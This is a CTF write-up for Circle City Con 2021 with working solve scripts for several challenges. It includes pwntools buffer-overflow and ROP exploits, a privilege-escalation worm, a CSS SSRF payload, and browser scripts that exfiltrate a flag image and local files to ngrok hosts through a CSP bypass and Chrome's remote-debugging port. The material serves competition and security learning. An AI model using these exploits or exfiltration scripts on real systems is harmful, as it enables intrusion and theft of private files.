Circle City Con CTF 2021
Please don’t judge me for the quality of these writeups. I started writing and then got bored lol.
fawn cdn (pwn)
I'm starting a modern internet business! That means I need my own Content Delivery Network! Check it out and see what you think, I wrote it at a hackathon!
nc 35.224.135.84 1001
❯ ./fawncdn
________ ________ ________ ________
|\ _____\\ ____\|\ ___ \|\ ___ \
\ \ \__/\ \ \___|\ \ \_|\ \ \ \\ \ \
\ \ __\\ \ \ \ \ \ \\ \ \ \\ \ \
\ \ \_| \ \ \____\ \ \_\\ \ \ \\ \ \
\ \__\ \ \_______\ \_______\ \__\\ \__\
\|__| \|_______|\|_______|\|__| \|__|
1. List files.
2. Choose files.
3. Deliver files.
4. Quit.
Got a menu-driven pwnable. Listing files gives a brief json error message and the address of the function “win” which writes the bytes of a file to stdout. Choose files does nothing useful, just prints out a json error message. Deliver files is the most interesting – it executes a function pointer stored on the stack. There is a 9 byte buffer overflow when reading in the menu choice, which is sufficient to override the function pointer. We can then get the stored image like so:
- leak win address by listing files
- overwrite function pointer
- invoke function pointer
- read the image lol
#!/usr/bin/env python3
from pwn import *
import re
exe = ELF("fawncdn")
context.binary = exe
context.terminal = "kitty"
def conn():
if args.REMOTE:
return remote("35.224.135.84", 1001)
elif args.GDB:
return gdb.debug([exe.path],gdbscript="b *main+269")
else:
return process([exe.path])
def main():
r = conn()
r.sendline("1")
win = int(re.search(b"(0x.*?)\"",r.recvuntil("}")).group(1),16)
log.info("win function ptr: " + hex(win))
r.sendline(b"A" * 16 + p64(win))
r.recvuntil("cmd> ")
r.recvuntil("cmd> ")
r.recvuntil("cmd> ")
r.sendline(b"3")
image = r.recvuntil("1. List files.")
f = open("fawn.jpg","wb")
f.write(image)
f.close()
# good luck pwning :)
r.interactive()
if __name__ == "__main__":
main()
worm (pwn)
Write a worm and pwn my system :)
nc 35.188.197.160 1001
So we get arbitary code exec on the system already and our goal is to find the flag, which is randomly distributed between 2^10 folders which are created in a tree structure. Making things slightly more complicated, each level is owned by a different user and you need to privesc with a trivially exploitable SUID binary. Also you get 512 bytes to do it lol. There were two versions of this challenge – the original did not close stdin so you could execute bash and get a shell indefinitely. The fixed version resolved that issue. Fortunately, my solution was under 512 bytes already when compressed so free points.
room0/
|-- key
|-- room0
| |-- key
| |-- room0
| | `-- flag.txt
| `-- room1
`-- room1
|-- key
|-- room0
`-- room1
from subprocess import PIPE, Popen, run
import os
import shutil
# execute while working directory is /room0
# echo $this | base64 -d | gunzip > /tmp/worm.py; cd /room0; python3 /tmp/worm.py
if os.path.exists("flag.txt"):
shutil.copy("flag.txt", "/tmp/flag.txt")
payload0 = b"A" * 32 + b"p4ssw0rd\n" + b"cd room0;\n" + b"python3 /tmp/worm.py;\n" + b""
p = run(["./key"], capture_output=True, input=payload0)
print(p.stdout)
print(p.stderr)
payload1 = b"A" * 32 + b"p4ssw0rd\n" + b"cd room1;\n" + b"python3 /tmp/worm.py;\n" + b""
p = run(["./key"], capture_output=True, input=payload1)
print(p.stdout)
print(p.stderr)
little mountain (rev)
Climb this mountain and score some points :)
void main(void)
{
int local_c;
setabuf();
do {
puts("Option 0: Guess the number");
puts("Option 1: Change the number");
puts("Option 2: Exit");
__isoc99_scanf(&DAT_0049e0d7,&local_c);
(**(code **)(funcs + (long)local_c * 8))();
} while( true );
}
My immediate thought when seeing this is that we have an unchecked function pointer array and that’s sus as fuck. This isn’t pwn but it still got me thinking. Let’s open it up in GDB and see what funcs[3] is.
gef➤ bt
#0 0x0000000000401cf5 in d ()
#1 0x0000000000401ed7 in main ()
A function called d; sounds meaningful.
void d(void)
{
byte local_29;
int local_28;
int local_24;
char *local_20;
undefined *local_18;
int local_10;
int local_c;
local_18 = &DAT_0049e022;
local_20 = "little_mountain";
local_24 = thunk_FUN_004010de(&DAT_0049e022);
local_28 = thunk_FUN_004010de(local_20);
local_10 = 0;
if (modded == 0x14) {
local_c = 0;
while (local_c < local_24) {
if (local_10 == local_28) {
local_10 = 0;
}
local_29 = local_20[local_10] ^ local_18[local_c];
local_10 = local_10 + 1;
write(1,&local_29,1);
local_c = local_c + 1;
}
puts("\n");
}
/* WARNING: Subroutine does not return */
exit(0);
}
bet thats a flag. If modded is equal to 0x14 it will print text to stdout. modded is set when changing the number.
void regen_number(void)
{
puts("Always ready for more");
magic = random();
modded = modded + 1;
return;
}
This means all we need to do is change the number 0x14 times and then invoke option 3 and we’re probably going to get the flag.
#!/usr/bin/env python3
from pwn import *
exe = ELF("little")
context.binary = exe
context.terminal = "kitty"
def conn():
if args.REMOTE:
return remote("addr", 1337)
elif args.GDB:
return gdb.debug([exe.path])
else:
return process([exe.path])
def main():
r = conn()
for i in range(0x14):
r.sendline(b"1")
r.sendline(b"3")
# good luck pwning :)
r.interactive()
if __name__ == "__main__":
main()
flag{b4bys73p5upt3hm0un741n}
angrbox (misc)
Write me a program that:
- Takes 4 uppercase characters in argv
- Verifies the 4 character key and returns 0 if correct
- If I find the key, YOU LOSE
nc 35.194.4.79 7000
My first thought was to make a program nondeterministic within the scope of the binary; things like environmental variables, execve, etc. As it turns out, angr doesn’t fail on these it just gives you a wrong answer. I know it’s possible to construct a function with exponential path explosion, but there is an easier solution – big big numbers. Who needs exponential growth when you have 8 0’s lol. I know from experience that raw z3 can’t reverse an LCG of this length in a reasonable time so I assumed angr wouldn’t be able to do it either.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main (int argc, char** argv) {
srand(argv[1][0] * 1 + argv[1][1] * 2 + argv[1][2] * 3 + argv[1][3] * 4);
for(int i = 0; i < 100000000; i++) {
rand();
}
if(rand() == 195600770) {
return 0;
} else {
return 1;
}
}
CCC{p4th_3pl0s10n_4s_a_tr4pd00r_funct10n?_0r_d1d_y0u_ch33s3_1t}
I think I can safely say this is cheese :)
artform (rev)
Anything can be a form of art. Even this challenge description is a form of art if I find a gallery with no standards!
undefined8 main(void)
{
long in_FS_OFFSET;
undefined8 local_38;
undefined8 uStack48;
undefined8 uStack40;
undefined8 uStack32;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
uStack40 = 0x625f3368745f7434;
uStack32 = 0x7d68357572;
local_38 = 0x316c5f317b434343;
uStack48 = 0x33625f30745f336b;
memset(&local_38,0x41,0x20);
printf("You like to paint? You know what I say to that? %s!",&local_38);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
This gives me big big flag vibes. I can retrieve this with Ghidra, but it’s faster to just pop it open in GDB.
CCC{1_l1k3_t0_b34t_th3_bru5h}
guardian (rev)
We have a really cool owl mascot, but there's no really cool owl themed movies....well actually....there's one.
nc 35.224.135.84 2000
❯ ./guardian
!WWWWWeeu.. ..ueeWWWWW!
"$$( R$$e$$R )$$"
"$8oeeo. "*" .oeeo8$"
.$$#"""*$i i$*"""#$$.
9$" @*c $$ $$F @*c $N
9$ NeP $$ $$L NeP $$
`$$uuuuo$$ $$uuuuu$$"
x$P**$$P*$"$P#$$$*R$L
x$$ #$k #$F :$P` '#$i
$$ #$ # $$ #$k
d$" '$L x$F '$$
$$ '$E 9$> 9$>
$6 $F ?$> 9$>
$$ d$ '$& 8$
"$k x$$ !$k :$$
#$b u$$L 9$b. $$"
'#$od$#$$u....u$P$Nu@$"
..?$R)..?R$$$$*" #$P
$$$$$$$$$$$$$$@WWWW$NWWW
`````""3$F""""#$F"""""""
@$.... '$B
d$$$$$$$$$$:
HOOOOOOOOOO Goes there? Do you have the password?
>
The password is the flag, compared byte by byte. For each correct byte it will display a check mark. Since that means we know if each individual character is correct or not, we can bruteforce it in 95*len instead of 256^len.
> CCC
✅ ✅ ✅
Hoo hoo hoo!
That is incorrect, my guardian.
#!/usr/bin/env python3
from pwn import *
from string import printable
exe = ELF("guardian")
context.binary = exe
context.terminal = "kitty"
def conn():
if args.REMOTE:
return remote("35.224.135.84", 2000)
elif args.GDB:
return gdb.debug([exe.path])
else:
return process([exe.path])
def main():
known = "CCC{let_m3_thr0ugh!_let_me_p4ss!_d0_y0u_th1nk_y0u_c4n_h3lp_h3r"
while True:
for i in printable:
r = conn()
r.recvuntil("Goes there? Do you have the password?\n")
r.sendline(known + i)
print("trying " + known + i)
resp_line = r.recvuntil("H")[2:][:-1].rstrip()
r.close()
if resp_line.count(b"\xe2\x9c\x85") != len(known) + 1:
continue
known += i
break
print(known)
# good luck pwning :)
r.interactive()
if __name__ == "__main__":
main()
CCC{let_m3_thr0ugh!_let_me_p4ss!_d0_y0u_th1nk_y0u_c4n_h3lp_h3r?}
weird rop (pwn)
I put my ROP Gadgets through the wash with my nice sweater and they all came out pink. I hope they still.
work.
nc 35.224.135.84 1000
❯ checksec weird-rop
[*] '/home/sky/circle-city-ctf/weird_rop/weird-rop'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
void vuln(void)
{
int iVar1;
char cStack16;
undefined uStack15;
iVar1 = open(flag,2,0);
cStack16 = (char)iVar1 + '0';
uStack15 = 10;
write(1,&cStack16,2);
read(0,&stack0xfffffffffffffff8,200);
return;
}
so this program does 3 things:
- open up flag.txt
- write the return value of open + ‘0’ to stdout
- read 200 bytes onto the stack
The read is trivially a very big buffer overflow on the stack, allowing me to control RIP. The written character is also important – it is the ascii value corresponding to the file descriptor of flag.txt. For whatever reason this is 5 on the server and 3 locally.
From the name and challenge description I can expect we’ll be missing the usual pop etc gadgets and will have to do something more convoluted to control arguments. A quick search with ropper shows this is partially the case. We have gadgets to control RAX, RSI, and RDX, but nothing to allow direct control of RDI. What we do have is a ton of xor RDI, constant gadgets. We’ll be using these XOR gadgets to set RDI equal to the flag file descriptor. There are gadgets for XOR RDI, 0x53 and XOR RDI, 0x56 so I use those.
At this point, we have all the pieces and just need to put them together.
- read flag fd into some memory (I picked writeable binary area because PIE is off and the address is static)
- write flag from that address to stdout.
#!/usr/bin/env python3
from pwn import *
exe = ELF("weird-rop")
context.binary = exe
context.terminal = "kitty"
def conn():
if args.REMOTE:
return remote("35.224.135.84", 1000)
elif args.GDB:
return gdb.debug([exe.path])
else:
return process([exe.path])
def main():
r = conn()
mov_rax_1_ret = 0x000000000040100a
mov_rax_0_ret = 0x0000000000401002
mov_rdi_1_ret = 0x0000000000401012
pop_rdx_ret = 0x00000000004010de
pop_rsi_ret = 0x0000000000401000
xor_rdi_53 = 0x000000000040107c
xor_rdi_56 = 0x000000000040101a
syscall_ret = 0x00000000004010db
payload = b"A" * 24
payload += p64(mov_rax_0_ret)
payload += p64(pop_rsi_ret) + p64(0x0000000000402010)
payload += p64(xor_rdi_53) + p64(xor_rdi_56)
payload += p64(pop_rdx_ret) + p64(0x30)
payload += p64(syscall_ret)
payload += p64(mov_rax_1_ret)
payload += p64(mov_rdi_1_ret)
payload += p64(pop_rsi_ret) + p64(0x0000000000402010)
payload += p64(pop_rdx_ret) + p64(0x30)
payload += p64(syscall_ret)
payload += p64(0x00401154) # main
r.sendline(payload)
# good luck pwning :)
r.interactive()
if __name__ == "__main__":
main()
CCC{math_is_hard_1234897}
double (misc/forensics)
I saved the flag in a Docker container, but where did Docker actually store it?
dump.mem.tar.xz Ubuntu_5.4.0-64-generic_profile.zip
Docker stores (by default at least) files in an overlay fs.
❯ python2 ~/tools/volatility/vol.py -f dump.mem --profile=LinuxUbuntu_5_4_0-62-generic_profilex64 linux_psaux
Volatility Foundation Volatility Framework 2.6.1
Pid Uid Gid Arguments
11560 0 0 sudo -s
11561 0 0 /bin/bash
11568 0 0 docker run -it alpine:3.7 /bin/sh
11604 0 0 /usr/bin/containerd-shim-runc-v2 -namespace moby -id e4af91e1e1bdb71af00437bf9503d5ef97ebf4406343d7778f1b9a52cdaeaa03 -address /run/containerd/containerd.sock
11626 0 0 /bin/sh
11670 0 0 vi secret.txt
11779 1000 1000 /usr/bin/python3 /usr/bin/update-manager --no-update --no-focus-on-map
Volatility can often recover files, so let’s try that.
❯ python2 ~/tools/volatility/vol.py -f dump.mem --profile=LinuxUbuntu_5_4_0-62-generic_profilex64 linux_enumerate_files | grep secret
Volatility Foundation Volatility Framework 2.6.1
0xffffa0f6fadd78c8 289058 /var/lib/docker/overlay2/0302e6c324b486a627e0243c020d8a7d5edd1eab9f186af5d0f6a83b5b82c989/diff/secret.txt
0x0 ------------------------- /var/lib/docker/overlay2/0302e6c324b486a627e0243c020d8a7d5edd1eab9f186af5d0f6a83b5b82c989-init/diff/secret.txt
0x0 ------------------------- /var/lib/docker/overlay2/c6010ae8b5857ab4d731cead4147b7d55b6ed8f985d5cbd975cfa529d2d75e30/diff/secret.txt
0xffffa0f6fa676360 142019 /usr/lib/x86_64-linux-gnu/libsecret-1.so.0.0.0
0xffffa0f6fa99bb40 289058 /var/lib/docker/overlay2/0302e6c324b486a627e0243c020d8a7d5edd1eab9f186af5d0f6a83b5b82c989/merged/secret.txt
❯ python2 ~/tools/volatility/vol.py -f dump.mem --profile=LinuxUbuntu_5_4_0-62-generic_profilex64 linux_find_file -i 0xffffa0f6fadd78c8 -O secret.txt
Volatility Foundation Volatility Framework 2.6.1
❯ cat secret.txt
C C C { d 0 c k 3 r _ i n _ a _ V M }
casino (web)
Can you make $1000 off Casino#4970? (say !help to view commands)
app.get('/set_balance', internal, async (req, res) => {
const user = req.query.user
if (user === undefined || user.length > 64) {
return res.status(400).json({ error: 'Invalid user string' })
}
const balance = parseInt(req.query.balance)
if (isNaN(balance)) {
return res.status(400).json({ error: 'Invalid balance' })
}
await setBalance(user, balance)
return res.status(200).end()
})
We can set our balance with a GET request. A middleware (internal) means we can’t call it directly because we aren’t on the docker network, but this sure sounds like GET ssrf. The vulnerability is in the $badge command – it will style your profile pic and balance, and allow you to provide CSS for it. CSS can make GET requests in a number of ways – a payload like this will work.
body {
background-image: url("http://172.16.0.10:3000/set_balance?user=sky%230004&balance=10000");
}
After that you can just get the flag by way of $flag.
CCC{maybe_1_sh0uldv3d_us3d_P0ST_in5t3ad_of_G3T}
imgfiltrate (web)
Can you yoink an image from the admin page?
We get an “admin bot” which will visit an arbitrary webpage and a webpage which will provide the flag as an image. This page is vulnerable to css by way of GET parameter. The idea is to write that image to a canvas and then exfiltrate the data from the canvas. There is CSP, but the script nonce is static and in the website so it’s trivial to bypass.
<script nonce="70861e83ad7f1863b3020799df93e450">
window.onload = (event) => {
var img = new Image(),
canvas = document.createElement("canvas"),
ctx = canvas.getContext("2d"),
src = "/flag.php";
img.onload = function() {
canvas.width = img.width;
canvas.height = img.height;
ctx.drawImage(img, 0, 0);
scrpt = document.createElement("script");
scrpt.src = 'http://50e4b12740bd.ngrok.io?c=' + canvas.toDataURL();
scrpt.nonce = "70861e83ad7f1863b3020799df93e450"
document.body.appendChild(scrpt)
}
img.src = src;
document.body.appendChild(canvas);
}
</script>
CCC{c4nvas_b64}
puppet (web)
The flag has a random name in ~/Documents/. Pwn my browser:
const browser = await puppeteer.launch({
dumpio: true,
args: [
'--disable-web-security',
'--user-data-dir=/tmp/chrome',
'--remote-debugging-port=5000',
'--disable-dev-shm-usage', // Docker stuff
'--js-flags=--jitless' // No Chrome n-days please
]
})
No same origin policy (–disable-web-security) and remote debugging is quite the combo. By remotely controlling the browser we can use the file:// protocol, making it possible to enumerate files and then leak them. Pardon my gross exploit, I was running on very little sleep and I don’t have it in me to clean it up now. I just hosted it as an HTML page and pointed the admin bot towards it.
const blobToBase64 = blob => {
const reader = new FileReader();
reader.readAsDataURL(blob);
return new Promise(resolve => {
reader.onloadend = () => {
resolve(reader.result);
};
});
};
fetch("http://localhost:5000/json/new?file:///home/inmate/Documents")
.then((res) => res.blob())
fetch("http://localhost:5000/json/list")
.then((res) => res.json())
.then((json) => {
found = json.find(ele => ele.url == "file:///home/inmate/Documents")
window.ws = new WebSocket(found.webSocketDebuggerUrl)
ws.onerror = (e=>{document.writeln('error')})
ws.onmessage = (e=>{
fetch("http://6c3d5682e207.ngrok.io?onmsg=" + e.data).then((r) => console.log(r))
var match = e.data.match(/(flag_.*?\.txt)/g);
fetch("http://6c3d5682e207.ngrok.io?match=" + match[0] ).then((r) => {
console.log(r)
})
if (match) {
ws.send(JSON.stringify({
id:4,
method:"Page.navigate",
params:{
url:"view-source:file:///home/inmate/Documents/" + match[0]
}
}))
// I call this one the "i forgot setInterval existed"
for(var i = 0; i < 100000; i++) {
console.log("hi");
}
ws.send(JSON.stringify({
id:5,
method:"Runtime.evaluate",
params:{
expression:"document.documentElement.outerHTML"
}
}))
}
})
ws.onopen = ()=>{
// I call this one the "i forgot setInterval existed"
for(var i = 0; i < 1000; i++) {
console.log("hi");
}
ws.send(JSON.stringify({
id:1,
method:"Runtime.evaluate",
params:{
expression:"document.documentElement.outerHTML"
}
}))
ws.send(JSON.stringify({
id:2,
method:"Runtime.evaluate",
params:{
expression:"document.documentElement.outerHTML"
}
}))
ws.send(JSON.stringify({
id:3,
method:"Runtime.evaluate",
params:{
expression:"document.documentElement.outerHTML"
}
}))
}
return json
})
.then((blob) => JSON.stringify(blob))
.then((blob) => btoa(blob))
.then((b64) => {
console.log(b64);
fetch("http://6c3d5682e207.ngrok.io?c=" + b64).then((r) => console.log(r))
})
.catch((err) => console.log(err))
CCC{1f_0nly_th3r3_w4s_X55_0n_th3_d3vt00ls_p4g3}